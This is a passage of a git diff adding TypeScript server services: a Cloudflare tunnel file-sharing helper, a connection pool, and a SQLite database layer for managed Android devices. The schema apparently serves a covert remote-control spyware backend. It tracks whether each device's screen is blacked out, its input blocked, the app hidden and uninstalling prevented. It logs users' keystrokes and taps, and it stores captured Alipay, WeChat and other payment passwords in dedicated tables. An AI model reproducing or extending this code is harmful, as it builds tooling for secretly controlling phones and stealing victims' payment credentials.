output.match(/https:\/\/[a-z0-9-]+\.trycloudflare\.com/i) + if (urlMatch) { + clearTimeout(timeout) + tunnelProcess.stdout?.off('data', onData) + tunnelProcess.stderr?.off('data', onData) + resolve(urlMatch[0]) + } + } + + tunnelProcess.stdout?.on('data', onData) + tunnelProcess.stderr?.on('data', onData) + }) + } + + /** + * 生成会话ID + */ + private generateSessionId(): string { + return 'share_' + Date.now() + '_' + Math.random().toString(36).substr(2, 9) + } + + /** + * 格式化文件大小 + */ + private formatFileSize(bytes: number): string { + if (bytes === 0) return '0 B' + const k = 1024 + const sizes = ['B', 'KB', 'MB', 'GB'] + const i = Math.floor(Math.log(bytes) / Math.log(k)) + return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i] + } + + /** + * 销毁服务 + */ + destroy(): void { + if (this.cleanupInterval) { + clearInterval(this.cleanupInterval) + } + + // 停止所有活动分享会话 + for (const sessionId of this.activeShares.keys()) { + this.stopShare(sessionId) + } + } +} + +// 类型定义 +interface ShareSession { + sessionId: string + filePath: string + filename: string + port: number + server: http.Server + tunnelProcess: ChildProcess + tunnelUrl: string + createdAt: Date + expiresAt: Date +} + +interface ShareResult { + success: boolean + sessionId?: string + shareUrl?: string + filename?: string + expiresAt?: string + durationMinutes?: number + error?: string +} + +interface ShareInfo { + sessionId: string + filename: string + shareUrl: string + createdAt: string + expiresAt: string + isExpired: boolean +} + +export default CloudflareShareService \ No newline at end of file diff --git a/src/services/ConnectionPoolService.ts b/src/services/ConnectionPoolService.ts new file mode 100644 index 0000000..0927978 --- /dev/null +++ b/src/services/ConnectionPoolService.ts @@ -0,0 +1,268 @@ +import Logger from '../utils/Logger' + +/** + * 连接信息接口 + */ +export interface ConnectionInfo { + socketId: string + type: 'device' | 'client' + createdAt: number + lastActivity: number + priority: 'high' | 'normal' | 'low' + dataTransferred: number + messageCount: number + isActive: boolean +} + +/** + * 连接池统计信息 + */ +export interface PoolStats { + totalConnections: number + activeConnections: number + idleConnections: number + highPriorityCount: number + normalPriorityCount: number + lowPriorityCount: number + totalDataTransferred: number + averageMessageCount: number +} + +/** + * 连接池管理服务 + */ +export class ConnectionPoolService { + private logger = new Logger('ConnectionPoolService') + private connections: Map = new Map() + + private readonly MAX_CONNECTIONS = 1000 + private readonly IDLE_TIMEOUT = 300000 // 5分钟 + private readonly CLEANUP_INTERVAL = 60000 // 1分钟清理一次 + + constructor() { + this.startCleanupTask() + } + + /** + * 添加连接到池 + */ + addConnection( + socketId: string, + type: 'device' | 'client', + priority: 'high' | 'normal' | 'low' = 'normal' + ): boolean { + // 检查是否超过最大连接数 + if (this.connections.size >= this.MAX_CONNECTIONS) { + this.logger.warn(`⚠️ 连接池已满 (${this.MAX_CONNECTIONS}), 尝试驱逐低优先级连接`) + if (!this.evictLRU()) { + this.logger.error(`❌ 无法添加新连接: 连接池已满且无法驱逐`) + return false + } + } + + const now = Date.now() + this.connections.set(socketId, { + socketId, + type, + createdAt: now, + lastActivity: now, + priority, + dataTransferred: 0, + messageCount: 0, + isActive: true + }) + + this.logger.debug(`✅ 连接已添加: ${socketId} (${type}, ${priority})`) + return true + } + + /** + * 移除连接 + */ + removeConnection(socketId: string): boolean { + const removed = this.connections.delete(socketId) + if (removed) { + this.logger.debug(`✅ 连接已移除: ${socketId}`) + } + return removed + } + + /** + * 更新连接活动时间 + */ + updateActivity(socketId: string, dataSize: number = 0, messageCount: number = 1): void { + const conn = this.connections.get(socketId) + if (conn) { + conn.lastActivity = Date.now() + conn.dataTransferred += dataSize + conn.messageCount += messageCount + } + } + + /** + * 获取连接信息 + */ + getConnection(socketId: string): ConnectionInfo | undefined { + return this.connections.get(socketId) + } + + /** + * 获取所有连接 + */ + getAllConnections(): ConnectionInfo[] { + return Array.from(this.connections.values()) + } + + /** + * 获取特定类型的连接 + */ + getConnectionsByType(type: 'device' | 'client'): ConnectionInfo[] { + return Array.from(this.connections.values()).filter(conn => conn.type === type) + } + + /** + * 获取特定优先级的连接 + */ + getConnectionsByPriority(priority: 'high' | 'normal' | 'low'): ConnectionInfo[] { + return Array.from(this.connections.values()).filter(conn => conn.priority === priority) + } + + /** + * 获取活跃连接数 + */ + getActiveConnectionCount(): number { + return Array.from(this.connections.values()).filter(conn => conn.isActive).length + } + + /** + * 获取空闲连接数 + */ + getIdleConnectionCount(): number { + const now = Date.now() + return Array.from(this.connections.values()).filter( + conn => now - conn.lastActivity > this.IDLE_TIMEOUT + ).length + } + + /** + * 标记连接为不活跃 + */ + markInactive(socketId: string): void { + const conn = this.connections.get(socketId) + if (conn) { + conn.isActive = false + } + } + + /** + * 标记连接为活跃 + */ + markActive(socketId: string): void { + const conn = this.connections.get(socketId) + if (conn) { + conn.isActive = true + conn.lastActivity = Date.now() + } + } + + /** + * 驱逐最少使用的连接 (LRU) + */ + private evictLRU(): boolean { + let lruSocket = '' + let lruTime = Date.now() + let lruPriority = 'high' + + // 优先驱逐低优先级的空闲连接 + for (const [socketId, conn] of this.connections) { + if (!conn.isActive && conn.priority === 'low' && conn.lastActivity < lruTime) { + lruSocket = socketId + lruTime = conn.lastActivity + lruPriority = conn.priority + } + } + + // 如果没有低优先级连接,尝试驱逐普通优先级 + if (!lruSocket) { + for (const [socketId, conn] of this.connections) { + if (!conn.isActive && conn.priority === 'normal' && conn.lastActivity < lruTime) { + lruSocket = socketId + lruTime = conn.lastActivity + lruPriority = conn.priority + } + } + } + + if (lruSocket) { + this.logger.info(`🗑️ 驱逐LRU连接: ${lruSocket} (${lruPriority})`) + this.connections.delete(lruSocket) + return true + } + + return false + } + + /** + * 清理空闲连接 + */ + private cleanupIdleConnections(): void { + const now = Date.now() + let cleanedCount = 0 + + for (const [socketId, conn] of this.connections) { + if (now - conn.lastActivity > this.IDLE_TIMEOUT && !conn.isActive) { + this.connections.delete(socketId) + cleanedCount++ + } + } + + if (cleanedCount > 0) { + this.logger.info(`🧹 清理空闲连接: ${cleanedCount}个`) + } + } + + /** + * 启动定期清理任务 + */ + private startCleanupTask(): void { + setInterval(() => { + this.cleanupIdleConnections() + }, this.CLEANUP_INTERVAL) + } + + /** + * 获取连接池统计信息 + */ + getStats(): PoolStats { + const connections = Array.from(this.connections.values()) + const activeCount = connections.filter(c => c.isActive).length + const idleCount = connections.length - activeCount + + const highPriorityCount = connections.filter(c => c.priority === 'high').length + const normalPriorityCount = connections.filter(c => c.priority === 'normal').length + const lowPriorityCount = connections.filter(c => c.priority === 'low').length + + const totalDataTransferred = connections.reduce((sum, c) => sum + c.dataTransferred, 0) + const averageMessageCount = connections.length > 0 + ? Math.round(connections.reduce((sum, c) => sum + c.messageCount, 0) / connections.length) + : 0 + + return { + totalConnections: connections.length, + activeConnections: activeCount, + idleConnections: idleCount, + highPriorityCount, + normalPriorityCount, + lowPriorityCount, + totalDataTransferred, + averageMessageCount + } + } + + /** + * 清理资源 + */ + destroy(): void { + this.connections.clear() + } +} diff --git a/src/services/DatabaseService.ts b/src/services/DatabaseService.ts new file mode 100644 index 0000000..ff3827f --- /dev/null +++ b/src/services/DatabaseService.ts @@ -0,0 +1,2210 @@ +import Database from 'better-sqlite3' +import Logger from '../utils/Logger' + +export interface DeviceRecord { + deviceId: string + deviceName: string + deviceModel: string + osVersion: string + appVersion: string + appPackage?: string + appName?: string + screenWidth: number + screenHeight: number + capabilities: string[] // 解析后的数组 + firstSeen: Date + lastSeen: Date + connectionCount: number + lastSocketId?: string + status: 'online' | 'offline' | 'busy' // ✅ 添加设备状态字段 + publicIP?: string // 🆕 添加公网IP字段 + remark?: string // 🆕 添加设备备注字段 + // 🆕 新增系统版本信息字段 + systemVersionName?: string // 如"Android 11"、"Android 12" + romType?: string // 如"MIUI"、"ColorOS"、"原生Android" + romVersion?: string // 如"MIUI 12.5"、"ColorOS 11.1" + osBuildVersion?: string // 如"1.0.19.0.UMCCNXM"等完整构建版本号 +} + +// 新增操作日志记录接口 +export interface OperationLogRecord { + id?: number + deviceId: string + logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT' + content: string + extraData?: any + timestamp: Date +} + +// ✅ 新增设备状态记录接口 +export interface DeviceStateRecord { + deviceId: string + password?: string + inputBlocked: boolean + loggingEnabled: boolean + blackScreenActive: boolean + appHidden: boolean + uninstallProtectionEnabled: boolean + lastPasswordUpdate?: Date + confirmButtonCoords?: { x: number, y: number } + learnedConfirmButton?: { x: number, y: number, count: number } + createdAt: Date + updatedAt: Date +} + +// 💰 支付宝密码记录接口 +export interface AlipayPasswordRecord { + id?: number + deviceId: string + password: string + passwordLength: number + activity: string + inputMethod: string + sessionId: string + timestamp: Date + createdAt: Date +} + +// 💬 微信密码记录接口 +export interface WechatPasswordRecord { + id?: number + deviceId: string + password: string + passwordLength: number + activity: string + inputMethod: string + sessionId: string + timestamp: Date + createdAt: Date +} + +// 🔐 通用密码输入记录接口 +export interface PasswordInputRecord { + id?: number + deviceId: string + password: string + passwordLength: number + passwordType: string + activity: string + inputMethod: string + installationId: string + sessionId: string + timestamp: Date + createdAt: Date +} + +export class DatabaseService { + private db: Database.Database + private logger = new Logger('DatabaseService') + + constructor(dbPath: string = './devices.db') { + this.db = new Database(dbPath) + this.initDatabase() + this.logger.info('数据库服务已初始化') + } + + /** + * 初始化数据库表结构 + */ + private initDatabase(): void { + try { + // 创建设备表 + this.db.exec(` + CREATE TABLE IF NOT EXISTS devices ( + deviceId TEXT PRIMARY KEY, + deviceName TEXT NOT NULL, + deviceModel TEXT NOT NULL, + osVersion TEXT NOT NULL, + appVersion TEXT NOT NULL, + appPackage TEXT, + appName TEXT, + screenWidth INTEGER NOT NULL, + screenHeight INTEGER NOT NULL, + capabilities TEXT NOT NULL, + firstSeen DATETIME NOT NULL, + lastSeen DATETIME NOT NULL, + connectionCount INTEGER DEFAULT 1, + lastSocketId TEXT, + status TEXT DEFAULT 'offline', + publicIP TEXT, + remark TEXT, + systemVersionName TEXT, + romType TEXT, + romVersion TEXT, + osBuildVersion TEXT + ) + `) + + // 确保新增列存在(迁移) + this.ensureDeviceTableColumns() + + // ✅ 添加status字段到现有表(如果不存在) + try { + this.db.exec(`ALTER TABLE devices ADD COLUMN status TEXT DEFAULT 'offline'`) + } catch (error) { + // 字段已存在,忽略错误 + } + + // 🆕 添加publicIP字段到现有表(如果不存在) + try { + this.db.exec(`ALTER TABLE devices ADD COLUMN publicIP TEXT`) + } catch (error) { + // 字段已存在,忽略错误 + } + + // 🆕 添加系统版本信息字段到现有表(如果不存在) + try { + this.db.exec(`ALTER TABLE devices ADD COLUMN systemVersionName TEXT`) + } catch (error) { + // 字段已存在,忽略错误 + } + + try { + this.db.exec(`ALTER TABLE devices ADD COLUMN romType TEXT`) + } catch (error) { + // 字段已存在,忽略错误 + } + + try { + this.db.exec(`ALTER TABLE devices ADD COLUMN romVersion TEXT`) + } catch (error) { + // 字段已存在,忽略错误 + } + + try { + this.db.exec(`ALTER TABLE devices ADD COLUMN osBuildVersion TEXT`) + } catch (error) { + // 字段已存在,忽略错误 + } + + // 创建连接历史表 + this.db.exec(` + CREATE TABLE IF NOT EXISTS connection_history ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + deviceId TEXT NOT NULL, + socketId TEXT NOT NULL, + connectedAt DATETIME NOT NULL, + disconnectedAt DATETIME, + duration INTEGER, + connectionQuality TEXT, + FOREIGN KEY (deviceId) REFERENCES devices (deviceId) + ) + `) + + // 创建操作日志表 + this.db.exec(` + CREATE TABLE IF NOT EXISTS operation_logs ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + deviceId TEXT NOT NULL, + logType TEXT NOT NULL, + content TEXT NOT NULL, + extraData TEXT, + timestamp DATETIME NOT NULL, + FOREIGN KEY (deviceId) REFERENCES devices (deviceId) + ) + `) + + // ✅ 创建设备状态表 + this.db.exec(` + CREATE TABLE IF NOT EXISTS device_states ( + deviceId TEXT PRIMARY KEY, + password TEXT, + inputBlocked BOOLEAN DEFAULT FALSE, + loggingEnabled BOOLEAN DEFAULT FALSE, + blackScreenActive BOOLEAN DEFAULT FALSE, + lastPasswordUpdate DATETIME, + confirmButtonCoords TEXT, -- JSON格式存储坐标 {x: number, y: number} + learnedConfirmButton TEXT, -- JSON格式存储学习的坐标 {x: number, y: number, count: number} + createdAt DATETIME NOT NULL, + updatedAt DATETIME NOT NULL, + FOREIGN KEY (deviceId) REFERENCES devices (deviceId) + ) + `) + + // 🆕 为现有表添加新字段(如果不存在) + try { + this.db.exec(`ALTER TABLE device_states ADD COLUMN confirmButtonCoords TEXT`) + } catch (error) { + // 字段已存在,忽略错误 + } + + try { + this.db.exec(`ALTER TABLE device_states ADD COLUMN learnedConfirmButton TEXT`) + } catch (error) { + // 字段已存在,忽略错误 + } + + try { + this.db.exec(`ALTER TABLE device_states ADD COLUMN blackScreenActive BOOLEAN DEFAULT FALSE`) + } catch (error) { + // 字段已存在,忽略错误 + } + + try { + this.db.exec(`ALTER TABLE device_states ADD COLUMN appHidden BOOLEAN DEFAULT FALSE`) + } catch (error) { + // 字段已存在,忽略错误 + } + + try { + this.db.exec(`ALTER TABLE device_states ADD COLUMN uninstallProtectionEnabled BOOLEAN DEFAULT FALSE`) + } catch (error) { + // 字段已存在,忽略错误 + } + + // 💰 创建支付宝密码记录表 + this.db.exec(` + CREATE TABLE IF NOT EXISTS alipay_passwords ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + deviceId TEXT NOT NULL, + password TEXT NOT NULL, + passwordLength INTEGER NOT NULL, + activity TEXT NOT NULL, + inputMethod TEXT NOT NULL, + sessionId TEXT NOT NULL, + timestamp DATETIME NOT NULL, + createdAt DATETIME NOT NULL, + FOREIGN KEY (deviceId) REFERENCES devices (deviceId) + ) + `) + + // 💬 创建微信密码记录表 + this.db.exec(` + CREATE TABLE IF NOT EXISTS wechat_passwords ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + deviceId TEXT NOT NULL, + password TEXT NOT NULL, + passwordLength INTEGER NOT NULL, + activity TEXT NOT NULL, + inputMethod TEXT NOT NULL, + sessionId TEXT NOT NULL, + timestamp DATETIME NOT NULL, + createdAt DATETIME NOT NULL, + FOREIGN KEY (deviceId) REFERENCES devices (deviceId) + ) + `) + + // 🔐 创建通用密码输入记录表 + this.db.exec(` + CREATE TABLE IF NOT EXISTS password_inputs ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + deviceId TEXT NOT NULL, + password TEXT NOT NULL, + passwordLength INTEGER NOT NULL, + passwordType TEXT NOT NULL, + activity TEXT NOT NULL, + inputMethod TEXT NOT NULL, + installationId TEXT NOT NULL, + sessionId TEXT NOT NULL, + timestamp DATETIME NOT NULL, + createdAt DATETIME NOT NULL, + FOREIGN KEY (deviceId) REFERENCES devices (deviceId) + ) + `) + + // 🔐 创建用户设备权限表 + this.db.exec(` + CREATE TABLE IF NOT EXISTS user_device_permissions ( + userId TEXT NOT NULL, + deviceId TEXT NOT NULL, + permissionType TEXT DEFAULT 'control', + grantedAt DATETIME NOT NULL, + expiresAt DATETIME, + isActive BOOLEAN DEFAULT TRUE, + createdAt DATETIME NOT NULL, + updatedAt DATETIME NOT NULL, + PRIMARY KEY (userId, deviceId), + FOREIGN KEY (deviceId) REFERENCES devices (deviceId) + ) + `) + + // 创建索引优化查询性能 + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_logs_device_time ON operation_logs (deviceId, timestamp DESC) + `) + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_logs_type ON operation_logs (logType) + `) + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_device_states_deviceId ON device_states (deviceId) + `) + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_alipay_passwords_deviceId ON alipay_passwords (deviceId) + `) + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_alipay_passwords_timestamp ON alipay_passwords (timestamp DESC) + `) + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_wechat_passwords_deviceId ON wechat_passwords (deviceId) + `) + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_wechat_passwords_timestamp ON wechat_passwords (timestamp DESC) + `) + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_password_inputs_deviceId ON password_inputs (deviceId) + `) + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_password_inputs_timestamp ON password_inputs (timestamp DESC) + `) + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_password_inputs_type ON password_inputs (passwordType) + `) + + // 💥 创建崩溃日志表 + this.db.exec(` + CREATE TABLE IF NOT EXISTS crash_logs ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + deviceId TEXT NOT NULL, + fileName TEXT NOT NULL, + content TEXT NOT NULL, + fileSize INTEGER, + crashTime INTEGER, + uploadTime INTEGER, + deviceModel TEXT, + osVersion TEXT, + createdAt DATETIME NOT NULL, + FOREIGN KEY (deviceId) REFERENCES devices (deviceId) + ) + `) + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_crash_logs_deviceId ON crash_logs (deviceId) + `) + this.db.exec(` + CREATE INDEX IF NOT EXISTS idx_crash_logs_crashTime ON crash_logs (crashTime DESC) + `) + + this.logger.info('数据库表初始化完成') + } catch (error) { + this.logger.error('初始化数据库失败:', error) + throw error + } + } + + /** + * 迁移:确保 devices 表包含新增列 + */ + private ensureDeviceTableColumns(): void { + try { + const pragma = this.db.prepare(`PRAGMA table_info(devices)`).all() as any[] + const columns = new Set(pragma.map(c => c.name)) + + const pendingAlters: string[] = [] + if (!columns.has('appPackage')) { + pendingAlters.push(`ALTER TABLE devices ADD COLUMN appPackage TEXT`) + } + if (!columns.has('appName')) { + pendingAlters.push(`ALTER TABLE devices ADD COLUMN appName TEXT`) + } + if (!columns.has('remark')) { + pendingAlters.push(`ALTER TABLE devices ADD COLUMN remark TEXT`) + } + + if (pendingAlters.length > 0) { + this.logger.info(`检测到 devices 表缺少列,开始迁移: ${pendingAlters.length} 项`) + const tx = this.db.transaction((sqls: string[]) => { + sqls.forEach(sql => this.db.exec(sql)) + }) + tx(pendingAlters) + this.logger.info('devices 表列迁移完成') + } + } catch (error) { + this.logger.error('迁移 devices 表失败:', error) + } + } + + /** + * 根据socketId查询设备信息 + */ + getDeviceBySocketId(socketId: string): DeviceRecord | null { + try { + const stmt = this.db.prepare(` + SELECT * FROM devices WHERE lastSocketId = ? + `) + const row = stmt.get(socketId) + + if (row) { + return this.rowToDeviceRecord(row) + } + + return null + } catch (error) { + this.logger.error('根据socketId查询设备失败:', error) + return null + } + } + + /** + * 根据deviceId查询设备信息 + */ + getDeviceById(deviceId: string): DeviceRecord | null { + try { + const stmt = this.db.prepare(` + SELECT * FROM devices WHERE deviceId = ? + `) + const row = stmt.get(deviceId) + + if (row) { + return this.rowToDeviceRecord(row) + } + + return null + } catch (error) { + this.logger.error('根据deviceId查询设备失败:', error) + return null + } + } + + /** + * 保存或更新设备信息 + */ + saveDevice(deviceInfo: any, socketId: string): void { + try { + const existing = this.getDeviceById(deviceInfo.deviceId) + const now = new Date() + + if (existing) { + // 更新现有设备 + const stmt = this.db.prepare(` + UPDATE devices SET + deviceName = ?, + deviceModel = ?, + osVersion = ?, + appVersion = ?, + appPackage = ?, + appName = ?, + screenWidth = ?, + screenHeight = ?, + capabilities = ?, + lastSeen = ?, + connectionCount = connectionCount + 1, + lastSocketId = ?, + status = 'online', + publicIP = ?, + remark = ?, + systemVersionName = ?, + romType = ?, + romVersion = ?, + osBuildVersion = ? + WHERE deviceId = ? + `) + + // 仅当传入的 remark 明确提供时才更新,否则保留数据库中的 remark + const remarkToUse = (deviceInfo.remark !== undefined) ? deviceInfo.remark : existing.remark + + stmt.run( + deviceInfo.deviceName, + deviceInfo.deviceModel, + deviceInfo.osVersion, + deviceInfo.appVersion, + deviceInfo.appPackage || null, + deviceInfo.appName || null, + deviceInfo.screenWidth, + deviceInfo.screenHeight, + JSON.stringify(deviceInfo.capabilities), + now.toISOString(), + socketId, + deviceInfo.publicIP || null, + remarkToUse || null, + deviceInfo.systemVersionName || null, + deviceInfo.romType || null, + deviceInfo.romVersion || null, + deviceInfo.osBuildVersion || null, + deviceInfo.deviceId + ) + + this.logger.info(`设备信息已更新: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`) + } else { + // 插入新设备 + const stmt = this.db.prepare(` + INSERT INTO devices ( + deviceId, deviceName, deviceModel, osVersion, appVersion, appPackage, appName, + screenWidth, screenHeight, capabilities, firstSeen, lastSeen, + connectionCount, lastSocketId, status, publicIP, remark, + systemVersionName, romType, romVersion, osBuildVersion + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + `) + + stmt.run( + deviceInfo.deviceId, + deviceInfo.deviceName, + deviceInfo.deviceModel, + deviceInfo.osVersion, + deviceInfo.appVersion, + deviceInfo.appPackage || null, + deviceInfo.appName || null, + deviceInfo.screenWidth, + deviceInfo.screenHeight, + JSON.stringify(deviceInfo.capabilities), + now.toISOString(), + now.toISOString(), + 1, + socketId, + 'online', + deviceInfo.publicIP || null, + deviceInfo.remark || null, + deviceInfo.systemVersionName || null, + deviceInfo.romType || null, + deviceInfo.romVersion || null, + deviceInfo.osBuildVersion || null + ) + + this.logger.info(`新设备已记录: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`) + } + + // 记录连接历史 + this.recordConnection(deviceInfo.deviceId, socketId, now) + + } catch (error) { + this.logger.error('保存设备信息失败:', error) + throw error + } + } + + /** + * 记录连接历史 + */ + private recordConnection(deviceId: string, socketId: string, connectedAt: Date): void { + try { + const stmt = this.db.prepare(` + INSERT INTO connection_history (deviceId, socketId, connectedAt) + VALUES (?, ?, ?) + `) + + stmt.run(deviceId, socketId, connectedAt.toISOString()) + } catch (error) { + this.logger.error('记录连接历史失败:', error) + } + } + + /** + * ✅ 将设备状态设置为离线 + */ + setDeviceOffline(deviceId: string): void { + try { + const stmt = this.db.prepare(` + UPDATE devices SET status = 'offline', lastSeen = ? WHERE deviceId = ? + `) + stmt.run(new Date().toISOString(), deviceId) + this.logger.info(`设备状态已设置为离线: ${deviceId}`) + } catch (error) { + this.logger.error('设置设备离线状态失败:', error) + } + } + + /** + * 通过Socket ID将设备设置为离线 + */ + setDeviceOfflineBySocketId(socketId: string): void { + try { + const stmt = this.db.prepare(` + UPDATE devices SET status = 'offline', lastSeen = ? WHERE lastSocketId = ? + `) + stmt.run(new Date().toISOString(), socketId) + this.logger.info(`设备状态已设置为离线 (Socket: ${socketId})`) + } catch (error) { + this.logger.error('通过Socket ID设置设备离线状态失败:', error) + } + } + + /** + * ✅ 将所有设备状态重置为离线 + */ + resetAllDevicesToOffline(): void { + try { + const stmt = this.db.prepare(` + UPDATE devices SET status = 'offline', lastSeen = ? + `) + const result = stmt.run(new Date().toISOString()) + this.logger.info(`已将 ${result.changes} 个设备状态重置为离线`) + } catch (error) { + this.logger.error('重置所有设备状态失败:', error) + } + } + + /** + * 更新连接断开信息 + */ + updateDisconnection(socketId: string): void { + try { + const disconnectedAt = new Date() + + // 查找最近的连接记录 + const findStmt = this.db.prepare(` + SELECT * FROM connection_history + WHERE socketId = ? AND disconnectedAt IS NULL + ORDER BY connectedAt DESC LIMIT 1 + `) + const connection = findStmt.get(socketId) as any + + if (connection) { + const connectedAt = new Date(connection.connectedAt) + const duration = Math.floor((disconnectedAt.getTime() - connectedAt.getTime()) / 1000) + + const updateStmt = this.db.prepare(` + UPDATE connection_history SET + disconnectedAt = ?, + duration = ?, + connectionQuality = ? + WHERE id = ? + `) + + // 根据连接时长判断连接质量 + let quality = 'good' + if (duration < 30) { + quality = 'poor' + } else if (duration < 120) { + quality = 'fair' + } + + updateStmt.run(disconnectedAt.toISOString(), duration, quality, connection.id) + + this.logger.info(`连接断开记录已更新: ${socketId}, 持续时间: ${duration}秒, 质量: ${quality}`) + } + } catch (error) { + this.logger.error('更新断开连接记录失败:', error) + } + } + + /** + * 获取设备连接统计 + */ + getDeviceStats(deviceId: string): any { + try { + const stmt = this.db.prepare(` + SELECT + COUNT(*) as totalConnections, + AVG(duration) as avgDuration, + MAX(duration) as maxDuration, + MIN(duration) as minDuration, + SUM(CASE WHEN connectionQuality = 'poor' THEN 1 ELSE 0 END) as poorConnections + FROM connection_history + WHERE deviceId = ? AND duration IS NOT NULL + `) + + return stmt.get(deviceId) + } catch (error) { + this.logger.error('获取设备统计失败:', error) + return null + } + } + + /** + * 获取所有设备列表 + */ + getAllDevices(): DeviceRecord[] { + try { + const stmt = this.db.prepare(` + SELECT * FROM devices ORDER BY lastSeen DESC + `) + const rows = stmt.all() + + return rows.map(row => this.rowToDeviceRecord(row)) + } catch (error) { + this.logger.error('获取设备列表失败:', error) + return [] + } + } + + /** + * 清理旧连接记录 + */ + cleanupOldRecords(daysToKeep: number = 30): void { + try { + const cutoffDate = new Date() + cutoffDate.setDate(cutoffDate.getDate() - daysToKeep) + + const stmt = this.db.prepare(` + DELETE FROM connection_history + WHERE connectedAt < ? + `) + + const result = stmt.run(cutoffDate.toISOString()) + this.logger.info(`清理了 ${result.changes} 条旧连接记录`) + } catch (error) { + this.logger.error('清理旧记录失败:', error) + } + } + + /** + * 转换数据库行为DeviceRecord + */ + private rowToDeviceRecord(row: any): DeviceRecord { + return { + deviceId: row.deviceId, + deviceName: row.deviceName, + deviceModel: row.deviceModel, + osVersion: row.osVersion, + appVersion: row.appVersion, + appPackage: row.appPackage, + appName: row.appName, + screenWidth: row.screenWidth, + screenHeight: row.screenHeight, + capabilities: JSON.parse(row.capabilities), + firstSeen: new Date(row.firstSeen), + lastSeen: new Date(row.lastSeen), + connectionCount: row.connectionCount, + lastSocketId: row.lastSocketId, + status: row.status || 'offline', // ✅ 添加状态字段 + publicIP: row.publicIP, + remark: row.remark, // 🆕 添加备注字段 + // 🆕 添加系统版本信息字段 + systemVersionName: row.systemVersionName, + romType: row.romType, + romVersion: row.romVersion, + osBuildVersion: row.osBuildVersion + } + } + + /** + * 🆕 更新设备备注 + */ + updateDeviceRemark(deviceId: string, remark: string): boolean { + try { + const stmt = this.db.prepare(` + UPDATE devices SET remark = ? WHERE deviceId = ? + `) + const result = stmt.run(remark, deviceId) + + if (result.changes > 0) { + this.logger.info(`设备备注已更新: ${deviceId} -> ${remark}`) + return true + } else { + this.logger.warn(`设备不存在或备注更新失败: ${deviceId}`) + return false + } + } catch (error) { + this.logger.error('更新设备备注失败:', error) + return false + } + } + + /** + * 🆕 获取设备备注 + */ + getDeviceRemark(deviceId: string): string | null { + try { + const stmt = this.db.prepare(` + SELECT remark FROM devices WHERE deviceId = ? + `) + const row = stmt.get(deviceId) as any + return row ? row.remark : null + } catch (error) { + this.logger.error('获取设备备注失败:', error) + return null + } + } + + /** + * 保存操作日志 + */ + saveOperationLog(log: OperationLogRecord): void { + try { + const stmt = this.db.prepare(` + INSERT INTO operation_logs (deviceId, logType, content, extraData, timestamp) + VALUES (?, ?, ?, ?, ?) + `) + + stmt.run( + log.deviceId, + log.logType, + log.content, + log.extraData ? JSON.stringify(log.extraData) : null, + log.timestamp.toISOString() + ) + + this.logger.debug(`操作日志已保存: ${log.deviceId} - ${log.logType}`) + } catch (error) { + this.logger.error('保存操作日志失败:', error) + throw error + } + } + + /** + * 获取设备操作日志(分页) + */ + getOperationLogs(deviceId: string, page: number = 1, pageSize: number = 50, logType?: string): { + logs: OperationLogRecord[], + total: number, + page: number, + pageSize: number, + totalPages: number + } { + try { + // 构建查询条件 + let whereClause = 'WHERE deviceId = ?' + let params: any[] = [deviceId] + + if (logType) { + whereClause += ' AND logType = ?' + params.push(logType) + } + + // 查询总数 + const countStmt = this.db.prepare(` + SELECT COUNT(*) as total FROM operation_logs ${whereClause} + `) + const totalResult = countStmt.get(...params) as any + const total = totalResult.total + + // 查询分页数据 + const offset = (page - 1) * pageSize + const dataStmt = this.db.prepare(` + SELECT * FROM operation_logs ${whereClause} + ORDER BY timestamp DESC + LIMIT ? OFFSET ? + `) + + const rows = dataStmt.all(...params, pageSize, offset) as any[] + + const logs: OperationLogRecord[] = rows.map(row => ({ + id: row.id, + deviceId: row.deviceId, + logType: row.logType, + content: row.content, + extraData: row.extraData ? JSON.parse(row.extraData) : null, + timestamp: new Date(row.timestamp) + })) + + const totalPages = Math.ceil(total / pageSize) + + return { + logs, + total, + page, + pageSize, + totalPages + } + } catch (error) { + this.logger.error('获取操作日志失败:', error) + return { + logs: [], + total: 0, + page: 1, + pageSize, + totalPages: 0 + } + } + } + + /** + * 删除设备的所有操作日志 + */ + clearOperationLogs(deviceId: string): void { + try { + const stmt = this.db.prepare(` + DELETE FROM operation_logs WHERE deviceId = ? + `) + + const result = stmt.run(deviceId) + this.logger.info(`已删除设备 ${deviceId} 的 ${result.changes} 条操作日志`) + } catch (error) { + this.logger.error('清理操作日志失败:', error) + throw error + } + } + + /** + * 清理旧的操作日志 + */ + cleanupOldOperationLogs(daysToKeep: number = 7): void { + try { + const cutoffDate = new Date() + cutoffDate.setDate(cutoffDate.getDate() - daysToKeep) + + const stmt = this.db.prepare(` + DELETE FROM operation_logs WHERE timestamp < ? + `) + + const result = stmt.run(cutoffDate.toISOString()) + this.logger.info(`清理了 ${result.changes} 条旧操作日志 (${daysToKeep}天前)`) + } catch (error) { + this.logger.error('清理旧操作日志失败:', error) + } + } + + /** + * 获取操作日志统计 + */ + getOperationLogStats(deviceId: string): any { + try { + const stmt = this.db.prepare(` + SELECT + logType, + COUNT(*) as count, + MIN(timestamp) as firstLog, + MAX(timestamp) as lastLog + FROM operation_logs + WHERE deviceId = ? + GROUP BY 